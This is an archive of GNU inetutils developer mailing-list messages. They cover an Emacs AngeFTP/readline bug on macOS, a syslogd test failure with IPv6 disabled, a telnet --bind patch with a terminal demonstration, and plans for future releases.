> It seems like it's been around for quite a while. I just checked tnftp
> and the dumbterm check has been in there since at least lukemftp 1.0 in
> 1999.

Thanks for testing!  This will be in inetutils 2.1, whenever it is
released...

/Simon


signature.asc
Description: PGP signature


Re: Emacs AngeFTP fails on macOS 10.14 with GNU inetutils FTP

2021-05-26 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Alex Bochannek  writes:

> Alex Bochannek  writes:
>
>> I keep debugging what's going on there. I have found an interesting,
>> platform-dependent behavior in Emacs that may or may not be related to
>> this problem.
>
> I was looking at what Bash and tnftp do when they run in an Emacs
> comint-mode (shell and ange-ftp, respectively) and the below seems to be
> the easiest fix. It's more or less directly copied from tnftp.

Thanks for debugging -- can you test if what I committed also works?

https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=ef2060d53581649f6347574b21ecbbdcc0067b8a

Having magic environment variables like this is not ideal, but I guess
it already spread to bash and other tools, so it is now a feature.

/Simon


signature.asc
Description: PGP signature


Re: next steps for inetutils?

2021-05-25 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
"Alfred M. Szmidt"  writes:

>>* Fix All warnings with autoconf 2.71 - I didn't want to touch this
>>  before 2.0 since we had succesful build reports, but there are 
> plenty
>>  of old m4 constructs that we should use gnulib tools for instead.
>>
>>* use gitlog-to-changelog instead of manual ChangeLog entries
>>
>> I'm sorta still against it -- since it would ruin my work flow of
>> being able to edit the ChangeLog file post-factum.  But I am sure I
>> can be convinced without much work ... if someone else does the
>> work. :-)
>
>Modifying the ChangeLog that ends up in tarballs is possible, see how
>coreutils is doing it.  Many GNU projects appears to be moving this way
>already.
>
> A flat file is going to always be much easier to modify than stringing
> together sed expressions.

Sure, although the cost of a rare occurance should be weighted against
the cost of everyday tasks.  My experience with multiple projects is
that using gnulib's gitlog-to-changelog saves expensive developer time
that could be better spent on other more useful matters, so I made this
change now.

Surprisingly few issues have came up since the release, and the ones
that did come up were relatively minor.  I'll see if I can add some new
feature and aim for a 2.1 release before summer to really send the
signal that we are open for business again.  The whois .org issue is
annoying, since it means even a simple 'whois gnu.org' fail with 2.0.

/Simon


signature.asc
Description: PGP signature


Re: Emacs AngeFTP fails on macOS 10.14 with GNU inetutils FTP

2021-05-25 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Alex Bochannek  writes:

>> Probably gnulib's m4/readline.m4 should detect that this particular
>> libreadline is not usable, but I wonder exactly what is wrong with it
>> (and how to detect that).  Maybe it is possible to make it work (the
>> problem still seems related to stdin/stdout buffering somehow -- but
>> that is just a guess).
>
> Agreed. If you have any changes you would like me try out or suggestions
> for how to debug, I am happy to keep looking.

I don't really know what to try -- debugging stdin/stdout and
sub-process behaviour is tricky.  If you can reproduce any difference
between libreadline-ftp and libedit-ftp in some other way, that may
help.  It could also be a bug in emacs.  FWIW, I found a Mac and was
able to build inetutils on it and as you said, ftp works fine
standalone.  If you don't come up with anything more, having this e-mail
thread document the behaviour is a good result anyway, in case anyone
else discovers it in the future.

/Simon


signature.asc
Description: PGP signature


Re: Emacs AngeFTP fails on macOS 10.14 with GNU inetutils FTP

2021-05-24 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Alex Bochannek  writes:

> Simon Josefsson  writes:
>
>>> Is this a known problem? Does this maybe work as intended?
>>
>> Hi.  Thanks for the report.  It is not a known problem.  The output
>> looks weird, and it could be readline or related to buffering.  Could
>> you debug this further to see if you find out why it happens?  Maybe
>> Netkit-ftp/tnftp disables stdin buffering or something else, and
>> InetUtils doesn't.  Just an idea.
>
> It looks like this is the issue on (at least) macOS:
>
> /usr/lib/libreadline.dylib -> libedit.3.dylib
>
> Once I compiled inetutils against a proper Readline, it worked. Is that
> something autoconf could pick up? Or is --with-libreadline-prefix the
> preferred way to resolve this?

Thanks for debugging!

What is /usr/lib/libreadline.dylib on MacOS?  I suppose it does provide
'readline' function or linking would have failed.  Is the tool usable on
the command-line?  If you just start 'ftp' manually and type some
commands, try simple editing of the command, and arrow-up etc.

Probably gnulib's m4/readline.m4 should detect that this particular
libreadline is not usable, but I wonder exactly what is wrong with it
(and how to detect that).  Maybe it is possible to make it work (the
problem still seems related to stdin/stdout buffering somehow -- but
that is just a guess).

/Simon


signature.asc
Description: PGP signature


Re: Emacs AngeFTP fails on macOS 10.14 with GNU inetutils FTP

2021-05-21 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Alex Bochannek  writes:

> Hello!
>
> I sent in bug 48494: http://debbugs.gnu.org/cgi/bugreport.cgi?bug=48494
> to Emacs, but I am starting to think this might be an inetutils issue.
>
> I observed that AngeFTP cannot parse the output of the GNU inetutils FTP
> client on macOS 10.14. It errors out with "FTP Error: OPEN request
> failed:" and the process buffer shows the following:
>
> ftp> open ftp.tcl.tk
> open ftp.tcl.tk
> cd /
> cd /
> cd /
> cd /
> cd /
> cd /
> cd /
> cd /
> cd /
> cd /
> cd /
> cd /
> Connected to ftp.tcl.tk.
> 421 Service not available, remote server has closed connection
> ftp> Not connected.
> ftp> Not connected.
> ftp> Not connected.
> ftp> Not connected.
> ftp> Not connected.
> ftp> Not connected.
> ftp> 
>
> This appears to be caused by readline being enabled for ftp and is
> resolved when disabling it. The tnftp documentation suggests that this
> might be necessary for AngeFTP.
>
> Netkit-ftp on Linux does not exhibit this problem even with readline
> enabled; I could not test GNU inetutils on Linux. I tested tnftp on
> macOS and it also did not exhibit this problem even with readline
> enabled.
>
> Tested versions:
> ftp (GNU inetutils) 2.0 macOS 10.14.6
> tnftp-20200705 macOS 10.14.6
> netkit-ftp 0.17-34.1 Ubuntu 20.04.2 LTS
>
> Is this a known problem? Does this maybe work as intended?

Hi.  Thanks for the report.  It is not a known problem.  The output
looks weird, and it could be readline or related to buffering.  Could
you debug this further to see if you find out why it happens?  Maybe
Netkit-ftp/tnftp disables stdin buffering or something else, and
InetUtils doesn't.  Just an idea.

/Simon


signature.asc
Description: PGP signature


Re: syslogd.sh test fails when ipv6 is disabled

2021-05-06 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
> I will report back on the result of upgrading the Guix package of
> inetutils to 2.0.

Please do -- it should be in the Guix core-updates branch already.

/Simon



signature.asc
Description: This is a digitally signed message part


Re: syslogd.sh test fails when ipv6 is disabled

2021-05-06 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Bone Baboon  writes:

> I am using the Guix operating system which is a build from source
> operating system.  When I build the Guix package for inetutils from
> source it fails because the syslogd.sh test fails.  I am building the
> Guix inetutils package using this Guix command to build packages: `guix
> build --no-substitutes inetutils`.  This command does several build
> steps including running the inetutils test suite.
>
> I think the syslogd.sh test is failing because I have disabled ipv6 with
> the Linux kernel argument `ipv6.disable=1`.
>
> Disabling ipv6 stops an ipv6 leak which compromises the privacy provided
> by the VPN service I am using.  I did the ipv6 leak testing with
> https://ipv6leak.com which is a ipv6 leak testing site.  It is the first
> result I received when searching for "ipv6 leak" with searx.ir.
>
> Would it be possible to modify the inetutils test suite so that
> syslogd.sh does not fail if ipv6 is disabled?
>
> Guix build is running `make check` which can be seen in the output of
> the Guix build log for inetutils as it includes: 'command "make"
> "check" failed with status 2'.

Hi.  Thanks for the report.  Could you investigate if the
tests/runtime-ipv6.c program return appropriately?  It is supposed to
check wether the runtime system supports IPv6 or not, and should detect
this properly on your system (or there is a bug in the self-test code
elsewhere).

Looking at the code, I don't think a getaddrinfo-lookup is sufficient,
the code probably need to attempt to listen to a socket too, in order to
fully test wether IPv6 is disabled globally or not.

/Simon

> inetutils test suite log contents:
>
> ```
> ===
>GNU inetutils 1.9.4: tests/test-suite.log
> ===
>
> # TOTAL: 15
> # PASS:  8
> # SKIP:  6
> # XFAIL: 0
> # FAIL:  1
> # XPASS: 0
> # ERROR: 0
>
> .. contents:: :depth: 2
>
> SKIP: ping-localhost.sh
> ===
>
> ping needs to run as root
> SKIP ping-localhost.sh (exit status: 77)
>
> SKIP: traceroute-localhost.sh
> =
>
> traceroute needs to run as root
> SKIP traceroute-localhost.sh (exit status: 77)
>
> SKIP: tftp.sh
> =
>
> The use of the superserver Inetd in this script requires
> the availability of "/etc/nsswitch.conf", "/etc/passwd", and
> "/etc/protocols".  At least one of these is now missing.
> Therefore skipping test.
> SKIP tftp.sh (exit status: 77)
>
> FAIL: syslogd.sh
> 
>
> ../src/logger: ::1:7041: Cannot assign requested address
> Registered 24 successes out of 25.
> NOTICE: Standard port test was not run.
> Failing some tests.
> FAIL syslogd.sh (exit status: 1)
>
> SKIP: ftp-localhost.sh
> ==
>
> The use of the superserver Inetd in this script requires
> the availability of "/etc/nsswitch.conf", "/etc/passwd", and
> "/etc/protocols".  At least one of these is now missing.
> Therefore skipping test.
> SKIP ftp-localhost.sh (exit status: 77)
>
> SKIP: inetd.sh
> ==
>
> This test requires the availability of "/etc/protocols",
> a file which can not be found in the current system.
> Therefore skipping this test.
> SKIP inetd.sh (exit status: 77)
>
> SKIP: telnet-localhost.sh
> =
>
> No TTY assigned to this process.  Skipping test.
> SKIP telnet-localhost.sh (exit status: 77)
> ```
>
>


signature.asc
Description: PGP signature


telnet --bind

2021-04-28 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Hi.  I'm trying to get Debian to use inetutils's telnet by default, and
one discrepency compared to their current implementation (netkit) was
the --bind parameter.  It seems useful, so I implemented it in inetutils
(see patch below).  It appears to work -- notice the different listen
addresses in the ss output below.

/Simon

jas@latte:~/src/inetutils/telnet$ ip a|grep 192
inet 192.168.10.43/24 brd 192.168.10.255 scope global dynamic noprefixroute 
wlp2s0
inet 192.168.10.49/24 scope global secondary wlp2s0
jas@latte:~/src/inetutils/telnet$ ./telnet -b 192.168.10.49 www.sjd.se 80
Trying 178.174.241.102...
Connected to www.sjd.se.
Escape character is '^]'.
^]
telnet> ^Z
[1]+  Stoppad ./telnet -b 192.168.10.49 www.sjd.se 80
jas@latte:~/src/inetutils/telnet$ sudo ss|grep 102|tail -1
tcp   ESTAB  0  0192.168.10.49:46993
   178.174.241.102:http 
jas@latte:~/src/inetutils/telnet$ fg
./telnet -b 192.168.10.49 www.sjd.se 80
quit
Connection closed.
jas@latte:~/src/inetutils/telnet$ ./telnet -b 192.168.10.43 www.sjd.se 80
Trying 178.174.241.102...
Connected to www.sjd.se.
Escape character is '^]'.
^]
telnet> ^Z
[1]+  Stoppad ./telnet -b 192.168.10.43 www.sjd.se 80
jas@latte:~/src/inetutils/telnet$ sudo ss|grep 102|tail -1
tcp   ESTAB  0  0192.168.10.43:45907
   178.174.241.102:http 
jas@latte:~/src/inetutils/telnet$ fg
./telnet -b 192.168.10.43 www.sjd.se 80
quit
Connection closed.
jas@latte:~/src/inetutils/telnet$ 

Simon Josefsson via Commit-inetutils  writes:

> This is an automated email from the git hooks/post-receive script. It was
> generated because a ref change was pushed to the repository containing
> the project "GNU Inetutils ".
>
> The branch, master has been updated
>via  f70b506e3746bce45d1b684d5ac5ef513af73df4 (commit)
>   from  4587969cf6aa0da90508ff1e3fd7976420ee3e7c (commit)
>
> Those revisions listed above that are new to this repository have
> not appeared on any other notification email; so we list those
> revisions in full, below.
>
> - Log -
> http://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=f70b506e3746bce45d1b684d5ac5ef513af73df4
>
>
> commit f70b506e3746bce45d1b684d5ac5ef513af73df4
> Author: Simon Josefsson 
> Date:   Wed Apr 28 20:14:09 2021 +0200
>
> telnet: Support --bind (-b) for NetKit compatibility.
> 
> * NEWS: Add.
> * doc/inetutils.texi (telnet invocation): Add --bind (-b).
> * telnet/commands.c (tn): New variables hostaddr and srchostp.
> Parse -b parameter.  Update usage string.  If -b is set, call
> getaddrinfo on it and pass that ai_addr on to bind.
> * telnet/main.c (srcaddr): New global variable.
> (argp_options): Add --bind (-b).
> (parse_opt): Set srcaddr to -b value.
> (main): Propagate -b value to tn function.
>
> diff --git a/ChangeLog b/ChangeLog
> index 3c0f942..ad515b1 100644
> --- a/ChangeLog
> +++ b/ChangeLog
> @@ -1,3 +1,16 @@
> +2021-04-28  Simon Josefsson  
> +
> + telnet: Support --bind (-b) for NetKit compatibility.
> + * NEWS: Add.
> + * doc/inetutils.texi (telnet invocation): Add --bind (-b).
> + * telnet/commands.c (tn): New variables hostaddr and srchostp.
> + Parse -b parameter.  Update usage string.  If -b is set, call
> + getaddrinfo on it and pass that ai_addr on to bind.
> + * telnet/main.c (srcaddr): New global variable.
> + (argp_options): Add --bind (-b).
> + (parse_opt): Set srcaddr to -b value.
> + (main): Propagate -b value to tn function.
> +
>  2021-02-11  Simon Josefsson  
>  
>   * TODO: Add items discussed on mailing list.
> diff --git a/NEWS b/NEWS
> index 6d3c9af..1f13094 100644
> --- a/NEWS
> +++ b/NEWS
> @@ -2,6 +2,12 @@ GNU inetutils NEWS -- history of user-visible changes.
>  
>  * Noteworthy changes in release ?.? (-??-??) [?]
>  
> +* telnet
> +
> +** Implement --bind (-b).
> +
> +This is used to bind to a particular local socket, for compatibility
> +with NetKit's telnet.
>  
>  * Noteworthy changes in release 2.0 (2021-02-05) [stable]
>  
> diff --git a/doc/inetutils.texi b/doc/inetutils.texi
> index 5fb7675..ba7c9d2 100644
> --- a/doc/inetutils.texi
> +++ b/doc/inetutils.texi
> @@ -2996,6 +2996,12 @@ Use an 8-bit data path.
>  @opindex --login
>  Attempt automatic login.
>  
> +@item -b @var{address}
> +@itemx --bind=@var{address}
> +@opindex -b
> +@opindex --bind
> +Bind to specific local @var{address}.
> +
>  @item -c
>  @itemx --no-rc
>  @opindex -c
> diff --git a/telnet/commands.c b/telnet/commands.c
> index 36a951e..5cc9b4d 100644
> --- a/telnet/commands.c
> +++ b/telnet/commands.c
> @@ -2449,7 +2449,7 @@ int
>  tn (int argc, char *argv[])
>  {
>  #ifdef IPV6
> -  struct addrinfo *result, *aip, hints;
> +  struct 

Re: [PATCH 1/2] whois: .ORG is not handled by InterNIC anymore

2021-04-26 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Thanks, I have applied these.

/Simon


signature.asc
Description: PGP signature


Re: next steps for inetutils?

2021-02-11 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
I've added these items to TODO, so we don't forget about them.

/Simon


signature.asc
Description: PGP signature


Re: next steps for inetutils?

2021-02-10 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
a...@gnu.org (Alfred M. Szmidt) writes:

>* arp tool
>
>* nc (netcat) tool
>
> I like these additions, but I am worried about compatibility against
> the more prolific versions of those tools.

Agreed, an analysis of existing implementations and their differences
would be useful.  This applies to some of our other tools too, like
traceroute where other implementations have slightly different
behaviour.

>* fix all warnings with autoconf 2.71 - I didn't want to touch this
>  before 2.0 since we had succesful build reports, but there are plenty
>  of old m4 constructs that we should use gnulib tools for instead.
>
>* use gitlog-to-changelog instead of manual ChangeLog entries
>
> I'm sorta still against it -- since it would ruin my work flow of
> being able to edit the ChangeLog file post-factum.  But I am sure I
> can be convinced without much work ... if someone else does the
> work. :-)

Modifying the ChangeLog that ends up in tarballs is possible, see how
coreutils is doing it.  Many GNU projects appears to be moving this way
already.

>* Enhance Man pages so they fully supersede NetKit and BSD man pages
>
> Can you elaboraet a bit?

There is text in the traditional NetKit/BSD man pages that isn't in our
man pages.  I am hoping it is at least in our info manual (but I'm not
sure), and it would be nice to review if there is anything that makes
sense to put in the man pages.  Given that NetKit is not maintained, I'm
not sure there are any maintained man pages for some of the ancient
tools anywhere, it would be nice if Inetutils would become the canonical
place for this too -- almost all GNU distributions ship the older man
pages.

>* generally use gnulib for portability more than we use today.
>
> Yes, yes, yes, pelase.
>
>* Mingw/cygwin support?
>
> If it is not much work, why not ...
>
>* Remove Kerberos V4 support?  I'm not sure there are any usable
>  Kerberos V4 implementations around anymore, and it is is
>  single-DES-only so they are completely insecure anyway.
>
> Sounds like a good idea.

Let me add:

* setuid-less ping, ping6 and traceroute

* merge ping and ping6 into one binary?  ping6 should mean 'ping -6'.
  There is code duplication between the tools now, and the semantics of
  the tools is slowly diverging.

/Simon


signature.asc
Description: PGP signature


next steps for inetutils?

2021-02-05 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
"Alfred M. Szmidt"  writes:

> I'm ok with doing a release now.

I pushed out a stable release now.  Let's see if we get more testing
than for the pre-releases; we can always release something in the coming
weeks/month to fix build/portability stuff.  There isn't a lot of
testing on BSD, Solaris, AIX and other non-GNU systems as far as I know.

I wasn't able to update the NEWS section on savannah, maybe we don't use
that?  If not, I'll fix README-release.

Now is a good time to do some changes that I think we should do but was
pending the release, any thoughts on the following?

* arp tool

* nc (netcat) tool

* fix all warnings with autoconf 2.71 - I didn't want to touch this
  before 2.0 since we had succesful build reports, but there are plenty
  of old m4 constructs that we should use gnulib tools for instead.

* use gitlog-to-changelog instead of manual ChangeLog entries

* enhance man pages so they fully supersede NetKit and BSD man pages

* generally use gnulib for portability more than we use today.

  - gnulib has fts.c that we have a custom libls/ for

  - getaddrinfo/getnameinfo with IDN support to simplify IDN complexity

  - more system header files replacements

  - ruserok/wtmp stuff

* Mingw/cygwin support?

* Remove Kerberos V4 support?  I'm not sure there are any usable
  Kerberos V4 implementations around anymore, and it is is
  single-DES-only so they are completely insecure anyway.

Please add more stuff!  Or disagree.

/Simon


signature.asc
Description: PGP signature


Re: TLS support

2020-12-24 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
"David Diem"  writes:

> Hello,
>
> The inetutils /bin/ftp gives back the message "550 SSL/TLS required on
> the control channel" in my case. (The debug and verbose command line
> options do not produce any more related information than
> that). However, other clients (lftp, ncftp, filezilla) do connect
> (using the same server and user). gnutls and openssl are installed on
> my system. Is my system badly configured, do I misunderstand
> something, or is this a known problem?

Hi.  Inetutils's ftp does not support TLS.  If you know how to implement
it, patches are welcome!

/Simon


signature.asc
Description: PGP signature